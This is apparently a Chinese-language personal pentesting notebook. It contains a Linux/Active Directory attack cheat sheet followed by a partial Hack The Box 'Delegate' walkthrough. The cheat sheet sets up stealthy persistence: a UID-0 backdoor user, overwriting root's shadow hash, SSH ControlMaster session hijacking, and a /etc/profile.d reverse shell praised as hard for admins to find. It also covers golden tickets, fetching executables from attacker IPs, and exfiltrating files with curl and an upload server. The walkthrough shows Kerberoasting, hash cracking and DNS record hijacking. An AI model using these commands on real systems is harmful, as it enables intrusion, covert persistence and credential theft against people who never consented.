useradd -u 0 -o -g root -G root -M -s /bin/bash $user
passwd $user

如果不稳定，先修改root密码获取稳定shell之后部署如上部署后门

sudo sed -i 's|^root:.*|root:$6$iMuLtHxL$eBvAqDES77u7HyZJOoZMzLa7htpKdrQXWz7NPp1XnDncF/RgJ9Z12oOJFhS34A8hsGShfO/MQHai.DdZgYE2n0:18445:0:99999:7:::|' /etc/shadow
这里修改root密码为redhat，如果想替换也可以用如下命令生成hash
openssl passwd -6 -salt "$(openssl rand -base64 6)" $newpass

还有最简单的，直接将root的私钥抓到本地每次利用私钥登陆

利用controlmaster劫持ssh后门

类似于接管windows现有rdp会话

首先需要在/.ssh目录下找到config(没有就创建一个)，为其添加如下内容

Host *
        ControlPath ~/.ssh/controlmaster/%r@%h:%p
        ControlMaster auto
        ControlPersist yes

将其保存为644权限

chmod 644 ~/.ssh/config

在同级目录创建文件夹controlmaster

mkdir ~/.ssh/controlmaster

如果有其他人利用此用户ssh连接了其他机器，我们会在controlmaster文件夹看到如下文件生成

offsec@controller:~$ ls -al ~/.ssh/controlmaster/
total 8
drwxrwxr-x 2 offsec offsec 4096 May 13 13:55 .
drwx------ 3 offsec offsec 4096 May 13 13:55 ..
srw------- 1 offsec offsec    0 May 13 13:55 offsec@linuxvictim:22

此时有两种连接情况，1我们本身即是这个用户权限，即可直接ssh连接过去无需密码

offsec@controller:~$ ssh offsec@linuxvictim
Last login: Wed May 13 16:11:26 2020 from 192.168.120.40
offsec@linuxvictim:~$

2是我们具备root高权限，可用直接利用-S指定这个套接字劫持

root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim
Last login: Wed May 13 16:22:08 2020 from 192.168.120.40
offsec@linuxvictim:~$

还可以配合目录检查脚本来配合使用，比如说检测有新文件生成则访问我们的c2一次作为提醒有人中招了

/etc/profile.d/自动后门部署

/etc/profile.d/ 目录的作用：
- 当用户登录 Linux 系统（特别是使用 Bash shell 时），系统会加载 /etc/profile 文件。
- /etc/profile 文件内部通常包含一个逻辑：遍历并执行 /etc/profile.d/ 目录下所有以 .sh 结尾的文件。
- 因此，任何放置在 /etc/profile.d/ 目录下的 .sh 脚本，都会在每个用户登录时自动执行（包括 root 用户通过终端或 SSH 登录）利用起来也很简单，放置一个反弹shell.sh或者写公钥进去都是简单的操作，注意这个方式及其隐蔽，实战中甚至出现过运维完全无法处理（准确来说是找到）换服务器的情况

跨域攻击相关

注意跨域包括了林内跨域以及林外跨域，因为存在sid筛选，两者是有明显区分，林间会相对难以攻击但也不是完全没有手段

跨域黄金票据（林内）

优先考虑子域跨域到主域，没有开启sidhistory的林间域信任无法攻击

参考文章

https://medium.com/r3d-buck3t/breaking-domain-trusts-with-forged-trust-tickets-5f03fb71cd72

首先获取所需信息

#跨域黄金票据，获取rc4——hash以及两域sid
lsadump::trust /patch

跨域黄金票据

Invoke-Mimikatz -Command '"Kerberos::golden 
/user: Administrator 
/domain: dollarcorp.moneycorp.local [child_domain]
/sid: child_sid
/sids: root_sid
/rc4: Ticket HASH 
/service:krbtgt 
/target:moneycorp.local [root domain]
/ticket: location to save the ticket"'

链接数据库强制认证（林间或林内）

开启双向信任的委派攻击，所需目标域的mssql_xp_dirtree权限，以及拥有的另外一个域的dc_system权限

示例mssql服务

dc01.test1.com部署了mssql并且我们已经拥有xp_dirtree命令权限
dc01.test2.com我们已经有了dc的_system权限
两个是链接数据库（暂时不确定是否为必须权限，只是记录已攻击过案例）
两个域双向信任属于林间信任

使用鲁博在dc01.test2.com监听

.\Rubeus.exe monitor /interval:5 /nowrap

在dc01.test1.com的数据库中触发smb认证

xp_dirtree \\dc01.test2.com\nowrap

成功则会截获dc01.test1.com_tgt

小技巧

杀掉进程

taskkill /F /IM shell.exe

编译完毕各版本net工具

https://github.com/mishmashclone/Flangvik-SharpCollection

rubeus票据转换

首先复制到本地去除换行空格 linux换行

sed 's/ //g; :a;N;$!ba;s/\n//g' file

windows换行

先
tr -d ' ' < test.kirbi.b64 > cleaned.kirbi.b64
再
tr -d '\r\n' < cleaned.kirbi.b64 > final_ticket.b64

或者

dos2unix ed25519

之后bse64解密

base64 -d ticket.kirbi.b64 > ticket.kirbi

转换类型

impacket-ticketConverter ticket.kirbi ticket.ccache

注入票据

export KRB5CCNAME=ticket.ccache

本地全局查找文件

windows-powershell

Get-ChildItem -Path C:\ -Filter user.txt -Recurse -ErrorAction SilentlyContinue

linux

find / -name "flag.txt" 2>/dev/null

递归详细查找隐藏文件

gci -recurse -force -file <文件夹>

传递文件——传文件

分块传输

适应文件大小过大无法传输,以下命令是将程序分成100kb一份的程度

aplit -b 100 shell

传递到目标机器后合并

cat shell* > shell

base64传文件

linux

先将文件base64

base64 -w0 filename

在本地转义

echo "粘贴你的base64字符串" | base64 -d > filename

windows

本地编码

certutil -encode bypass.dll encoded.txt
certutil -encode CLM_Bypass.exe encoded.txt

传递后解码

certutil -decode encoded.txt c:/user/bypass.dll
certutil -decode encoded.txt c:/user/CLM_Bypass.exe

windows上传文件

cmd
certutil -urlcache -split -f http://你的IP/文件路径 保存路径
certutil -urlcache -split -f http://172.22.60.52:4488/4433.exe C:\windows\tasks\win443.exe
powershell
Invoke-WebRequest -Uri http://172.22.3.12:8888/win443.exe -OutFile "C:\windows\tasks\win443.exe"
或者
(New-Object System.Net.WebClient).DownloadFile('http://10.10.16.23:4444/shell.exe', 'C:\users\sqlsvc\Documents\shell.exe')
或者
powershell -c "iwr http://172.22.60.52:4488/4433.exe -OutFile $env:TEMP\win443.exe"

通用反向上传脚本（uploads.py）

#!/usr/bin/env python3
#curl -F "file=@/home/app/app/instance/users.db" http://10.10.16.6/
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi
import os
import io

PORT = 80
UPLOAD_DIR = "./uploads"

if not os.path.exists(UPLOAD_DIR):
    os.makedirs(UPLOAD_DIR)

class SimpleUploadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        html = '''
        <html><body>
        <h1>Upload file</h1>
        <form enctype="multipart/form-data" method="post">
          <input name="file" type="file"/>
          <input type="submit" value="Upload"/>
        </form>
        </body></html>
        '''
        self.wfile.write(html.encode('utf-8'))

    def do_POST(self):
        content_type = self.headers.get('content-type')
        if not content_type:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No Content-Type header")
            return

        ctype, pdict = cgi.parse_header(content_type)
        if ctype != 'multipart/form-data':
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"Content-Type is not multipart/form-data")
            return

        length = int(self.headers.get('content-length'))
        post_data = self.rfile.read(length)  # 读取POST全部数据

        # 用BytesIO包裹post_data以支持FieldStorage读取
        post_io = io.BytesIO(post_data)

        form = cgi.FieldStorage(
            fp=post_io,
            headers=self.headers,
            environ={
                'REQUEST_METHOD': 'POST',
                'CONTENT_TYPE': content_type,
            }
        )

        if 'file' not in form:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No file field in form")
            return

        file_item = form['file']
        if not file_item.filename:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No filename provided")
            return

        filename = os.path.basename(file_item.filename)
        file_data = file_item.file.read()

        filepath = os.path.join(UPLOAD_DIR, filename)
        with open(filepath, 'wb') as f:
            f.write(file_data)

        self.send_response(200)
        self.end_headers()
        self.wfile.write(f"File '{filename}' uploaded successfully\n".encode())

def run():
    server_address = ('', PORT)
    httpd = HTTPServer(server_address, SimpleUploadHandler)
    print(f"Starting server on port {PORT}, saving uploads to {UPLOAD_DIR}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

使用方式

python3启动后会自动监听80口并且在当前目录下生成uploads文件夹，之后可以利用不同的命令通过linux以及windows连接kali回传文件，适用于大文件以及目标环境特殊没有其他工具之类的,下面是举例命令

linux

curl -F "file=@/home/app/app/instance/users.db" http://10.10.16.6/

windows

$wc = New-Object System.Net.WebClient
$wc.UploadFile("http://10.10.16.30/", "POST", "C:\inetpub\DeviceHealthAttestation\bin\hassrv.dll")

ssh协议传文件

可以将文件传递或者下载，使用就是在前面的文件会被传递到后面的目录当中，跟着服务地址的就是服务端目录或者文件

密码传递

scp root@10.10.110.123:/root/.wackymaker/fscan.txt /home/wackymaker/tmp/prolab/offshare/

私钥传递

scp -i id_rsa root@10.10.110.123:/root/.wackymaker/fscan.txt /home/wackymaker/tmp/prolab/offshare/

smbclient递归下载或上传文件

递归下载

先
prompt off
之后
recurse true
最后
mget <文件夹>

递归上传本地所有文件

mput *

windows查看文件权限(or文件夹)

先移动到目标文件夹上方
icacls $file

各工具ntlm认证禁用处理方式-kerbores认证

首先都需要请求tgt并导入，可以用impacket包

impacket-getTGT $domain/$user:$pass -dc-ip $ip

impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip

也可以用nxc

nxc smb $ip -u $user -p $pass -k --generate-tgt $user

export KRB5CCNAME=administrator.ccache

虽然大部分工具只需要导入即可，但还是建议在这种特殊情况时配置/etc/krb5.conf，Kerberos 客户端配置文件，，以下是一个htb靶机当中的示例，更具情况进行修改即可，我会在后续需要用到它的时候标注

# /etc/krb5.conf
[libdefaults]
    # 默认的 Kerberos Realm（必须大写，与 AD 域名一致）
    default_realm = RUSTYKEY.HTB
    
    # 禁用 DNS 查询 Realm（防止 DNS 欺骗或解析问题）
    dns_lookup_realm = false
    
    # 禁用 DNS 查询 KDC（直接使用下面 [realms] 中指定的 IP）
    dns_lookup_kdc = false
    
    # 票据默认有效期（24小时）
    ticket_lifetime = 24h
    
    # 允许票据转发（用于 Pass-the-Ticket 攻击）
    forwardable = true
    
    # 如果目标域使用 AES 加密（而不是 RC4），需要启用
    #default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    #default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    #permitted_enctypes   = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac

[realms]
    # 定义 RUSTYKEY.HTB 域的 KDC（Key Distribution Center）
    RUSTYKEY.HTB = {
        # 主域控制器（Primary Domain Controller）的 IP
        kdc = 10.10.11.75
        
        # 可选：备用域控制器（如果有）
        # admin_server = 10.10.11.76
        
        # 默认域名（可选）
        default_domain = RUSTYKEY.HTB
    }

[domain_realm]
    # 将域名映射到 Kerberos Realm（确保大小写匹配）
    # 所有 .rustykey.htb 子域都会使用 RUSTYKEY.HTB Realm
    .rustykey.htb = RUSTYKEY.HTB
    
    # 主域名映射
    rustykey.htb = RUSTYKEY.HTB

当然，后续我发现了nxc可以做到自动生成

nxc smb $ip -u $user -p $pass -k --generate-krb5-file krb5.conf

impacket包

使用的时候只需要导入票据，在原本使用基础上-k -no-pass,或者不使用 -k -no-pass，单纯使用用户名或者密码进行-k参数也能使用，impacket包会自动完成请求tgt并导入的操作

nxc

导入票据后，在原有命令加上

-k

bloodhound-python

加上参数

导入后使用 -k -no-pass

bloodyad

三种使用方式

第一种，在仅仅导入票据的情况下

-k

第二种，如果你同时提供了 -u（用户名）、-d（域），并加上 -k 与 -p（密码），工具会自动尝试从 KDC 获取一个 TGT。

-k -p 'Password123!'

第三种，带多个关键词和认证文件

例如下
-k kdc=192.168.100.1 realmc=foreign.realm.corp ccache=/home/user/Admin.ccache
如果有需要也可以使用如下字段
kdc=<IP>	指定用于认证的 Kerberos KDC 地址，即你希望发送 TGT/ST 请求的域控制器 IP
ccache=<path>	使用 .ccache 文件作为凭据（如从 impacket-getTGT 或 getST 获得的文件）
kirbi=<path>	使用 .kirbi 格式的 Kerberos 票据
keytab=<path>	使用 .keytab 文件作为认证凭据
pem=<path> / pfx=<path>	使用证书文件进行 Kerberos PKINIT（较高级）
realmc=<REALM>	指定远程主机所在的 外部 realm，用于跨域认证（cross-realm）
kdcc=<IP>	如果是 cross-realm，指定 远程 realm 的 KDC 地址

certipy-ad

正常导入即可

-k -no-pass

evil-winrm 以及 evil-winrm-py

比较恶心的一个，不仅需要指定票据还需要使用配置文件,例如

KRB5CCNAME='svc_winrm.ccache' evil-winrm -i DC.voleur.htb -r VOLEUR.HTB -u 'svc_winrm'

-r VOLEUR.HTB，这个参数需要指向配置文件中的Realm

密码转换ntlm

kali运行命令

iconv -f ASCII -t UTF-16LE <(printf "密码") | openssl dgst -md4

监听交互shell

rlwrap -cAr nc -lnvp 7777

.tar.gz压缩与解压

压缩文件夹中的所有文件

tar -czvf mydata_content.tar.gz -C ~/mydata .

压缩这个文件夹（含目录结构）

tar -czvf mydata.tar.gz ~/mydata

解压

tar -xzvf file.tar.gz

解文件元数据

exiftool filename

Delegate-wp

Mon, 22 Sep 2025 12:28:33 +0800

前期信息收集

初期分析

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ cat hostname 
10.129.234.69     DC1.delegate.vl delegate.vl DC1

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo domain=delegate.vl>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo FQDN=DC1.delegate.vl>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ cat start.sh 
ip=10.129.234.69
domain=delegate.vl
FQDN=DC1.delegate.vl

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ . start.sh

端口扫描,判断为纯正dc

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ cat rustscan.txt 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.234.69:53
Open 10.129.234.69:88
Open 10.129.234.69:135
Open 10.129.234.69:139
Open 10.129.234.69:389
Open 10.129.234.69:445
Open 10.129.234.69:464
Open 10.129.234.69:593
Open 10.129.234.69:636
Open 10.129.234.69:3269
Open 10.129.234.69:3268
Open 10.129.234.69:3389
Open 10.129.234.69:5985
Open 10.129.234.69:9389

入口

存在匿名share

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc smb "$ip" -u guest -p '' --shares
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domin:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\guest:
SMB         10.129.234.69   445    DC1              [*] Enumerated shares
SMB         10.129.234.69   445    DC1              Share           Permissions     Remark
SMB         10.129.234.69   445    DC1              -----           -----------     ------
SMB         10.129.234.69   445    DC1              ADMIN$                          Remote Admin
SMB         10.129.234.69   445    DC1              C$                              Default share
SMB         10.129.234.69   445    DC1              IPC$            READ            Remote IPC
SMB         10.129.234.69   445    DC1              NETLOGON        READ            Logon server share
SMB         10.129.234.69   445    DC1              SYSVOL          READ            Logon server share

查看非初始目录NETLOGON，发现敏感脚本泄露了凭证

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ smbclient //$ip/NETLOGON -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Aug 26 08:45:24 2023
  ..                                  D        0  Sat Aug 26 05:45:45 2023
  users.bat                           A      159  Sat Aug 26 08:54:29 2023

		4652287 blocks of size 4096. 984341 blocks available
smb: \> get users.bat 
getting file \users.bat of size 159 as users.bat (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> exit

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ cat users.bat 
rem @echo off
net use * /delete /y
net use v: \\dc1\development 

if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123

凭证权限正确，抓取猎犬

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo user=A.Briggs>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo pass='P4ssw0rd1#123'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc ldap $ip -u $user -p $pass
LDAP        10.129.234.69   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.69   389    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ bloodhound-python -d $domain -c ALL -u $user -p $pass -ns $ip --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: delegate.vl
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc1.delegate.vl:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc1.delegate.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc1.delegate.vl
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC1.delegate.vl
INFO: Done in 00M 17S
INFO: Compressing output into 20250921220229_bloodhound.zip

猎犬的权限很简单，我就口述不贴图了，我们控制的这个用户A.BRIGGS@DELEGATE.VL对N.THOMPSON@DELEGATE.VL这个用户有通用写入权限，并且这个用户在远程管理组，应该就是下一步的路径，没有配置kpinit,直接打靶向kerbresating

首先给其注册服务

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ bloodyAD -d "$domain" --host "$ip" -u "$user" -p "$pass" set object "N.THOMPSON" servicePrincipalName -v 'http/anything'
[+] N.THOMPSON's servicePrincipalName has been updated

同步时间后打kerbresating

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ impacket-GetUserSPNs $domain/$user:$pass -dc-host $FQDN -dc-ip $ip -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName  Name        MemberOf                                         PasswordLastSet             LastLogon                   Delegation 
--------------------  ----------  -----------------------------------------------  --------------------------  --------------------------  ----------
http/anything         N.Thompson  CN=delegation admins,CN=Users,DC=delegate,DC=vl  2023-09-09 11:17:16.247262  2023-09-16 03:18:20.238500             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$ab77a79521321ac54700c727df347190$b5c30f649f35513d225a34e68354f7f0390e23322c84bb8f6c8c1f3b919ab5de89be685ca3ef73dd53b6c317a4e40bb............5feb2b954815b4ed179c178af25c12310fa2edfdb80f260975610aeada10c73489850734331cff27a185b7bec45fafaa0fc492d0620fc062532f39d02086ef87174eb0feb727ea633b64cd0e3c31c7f9e6256d99df5de1c1b393b88d5350b95182ea6167c263db810bc3e7e914a1c34d51ebdc11f37d20f7c36e871f6b232c120d1d2b887702c6f279b24a5a523107cd8e12cfd1828746e069f7a64d7148fad0f542e4fcbf17cb7dd5b3b6f12cfd8e4aebab39ef494acfe77a484b25f9dc40c23adbf93f4c7f4968a57cc

爆破v2hash

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo '$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$ab77a79521321ac54700c727df347190$b5c30f649f35513d225a34e68354f7f0390e23322c84bb8f6c8c1f3b919ab5de89be685ca3ef73dd53b6c317a4e40bb........4a5a523107cd8e12cfd1828746e069f7a64d7148fad0f542e4fcbf17cb7dd5b3b6f12cfd8e4aebab39ef494acfe77a484b25f9dc40c23adbf93f4c7f4968a57cca76e4fffdc54dd0a80cbd8daf1888b0096a91957307cac2afd0e73c1c2a07ad4feb611ac0900fc79351df45800ebf802674fd2b76449da3f83eece2'>hash

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ hashcat hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) Ultra 9 185H, 6939/13942 MB (2048 MB allocatable), 8MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$ab77a79521321ac54700c727df347190$b5c30f649f35513d225a34e68354f7f0390e23322c84bb8f6c8c1f3b919ab5de89be685ca3ef73dd53b6c317a4e40bb3712f1785ab2fe3e070bbf6788c035f053e6e6d51758879eb0e7199e49740aac4bba8719d312af7dffcd471a152daa3736161f15b22375e3cc0a5a48d589066b9df4a0c16e811da2fe0b4c12df8ed42fbddf1efea66e056946b2c11ac3b4e3128df00f207ab18741d1a9e5362fb4703be2c0e9bd9bae37e8be8f2ed8596c78d81c3f8388341641cf9003。。。。620fc062532f39d02086ef87174eb0feb727ea633b64cd0e3c31c7f9e6256d99df5de1c1b393b88d5350b95182ea6167c263db810bc3e7e914a1c34d51ebdc11f37d20f7c36e871f6b232c120d1d2b887702c6f279b24a5a523107cd8e12cfd1828746e069f7a64d7148fad0f542e4fcbf17cb7dd5b3b6f12cfd8e4aebab39ef494acfe77a484b25f9dc40c23adbf93f4c7f4968a57cca76e4fffdc54dd0a80cbd8daf1888b0096a91957307cac2afd0e73c1c2a07ad4feb611ac0900fc79351df45800ebf802674fd2b76449da3f83eece2:KALEB_2341
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.T...3eece2
Time.Started.....: Sun Sep 21 22:14:19 2025 (5 secs)
Time.Estimated...: Sun Sep 21 22:14:24 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2302.4 kH/s (1.95ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11010048/14344385 (76.76%)
Rejected.........: 0/11010048 (0.00%)
Restore.Point....: 11001856/14344385 (76.70%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: KANGOL1 -> Joytjiong1
Hardware.Mon.#1..: Util: 50%

Started: Sun Sep 21 22:14:15 2025
Stopped: Sun Sep 21 22:14:26 2025

获取用户凭证，存在winrm权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo pass2=KALEB_2341>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo user2=N.Thompson>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc winrm $ip -u $user2 -p $pass2
WINRM       10.129.234.69   5985   DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl)
WINRM       10.129.234.69   5985   DC1              [+] delegate.vl\N.Thompson:KALEB_2341 (Pwn3d!)

登陆后获得user.txt，就不放出来了

提权

此用户存在特殊权限

evil-winrm-py PS C:\Users\N.Thompson\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State  
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled

SeEnableDelegationPrivilege这个权限我昨天在博客解析过了，血缇之书中记录过打法

先测试能否进行无约束委派的创建（检测机器用户创建权限）

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc ldap $ip -u $user2 -p $pass2 -M maq
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
LDAP        10.129.234.69   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.69   389    DC1              [+] delegate.vl\N.Thompson:KALEB_2341 
MAQ         10.129.234.69   389    DC1              [*] Getting the MachineAccountQuota
MAQ         10.129.234.69   389    DC1              MachineAccountQuota: 10

中继触发流程也正常

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc smb $ip -u $user2 -p $pass2 -M coerce_plus 
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domin:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\N.Thompson:KALEB_2341 
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, DFSCoerce
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PetitPotam
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, MSEven

创建机器用户，并转录密码为hash方便下一步攻击

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ impacket-addcomputer -computer-name FS01 -computer-pass 'wackwack1$' -dc-ip $ip $domain/$user2:$pass2
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account FS01$ with password wackwack1$.

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ iconv -f ASCII -t UTF-16LE <(printf 'wackwack1$') | openssl dgst -md4
MD4(stdin)= 58826d80a57b1527e373616eec499b06

修改创建机器用户的dns记录导向我们的kali

┌──(wackymaker㉿kali)-[~/tools/ad-tools/krbrelayx/krbrelayx-master]
└─$ python3 dnstool.py -u 'delegate.vl\FS01$' -p 'wackwack1$' --action add --record FS01.delegate.vl --data 10.10.16.23 --type A -dns-ip 10.129.6.221 DC1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

配置spn

┌──(wackymaker㉿kali)-[~/tools/ad-tools/krbrelayx/krbrelayx-master]
└─$ python3 addspn.py -u 'delegate.vl\FS01$' -p 'wackwack1$' -s 'cifs/FS01.delegate.vl' -t FS01$ -dc-ip 10.129.6.221 DC1.delegate.vl --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

┌──(wackymaker㉿kali)-[~/tools/ad-tools/krbrelayx/krbrelayx-master]
└─$ python3 addspn.py -u 'delegate.vl\FS01$' -p 'wackwack1$' -s 'cifs/FS01.delegate.vl' -t FS01$ -dc-ip 10.129.6.221 DC1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
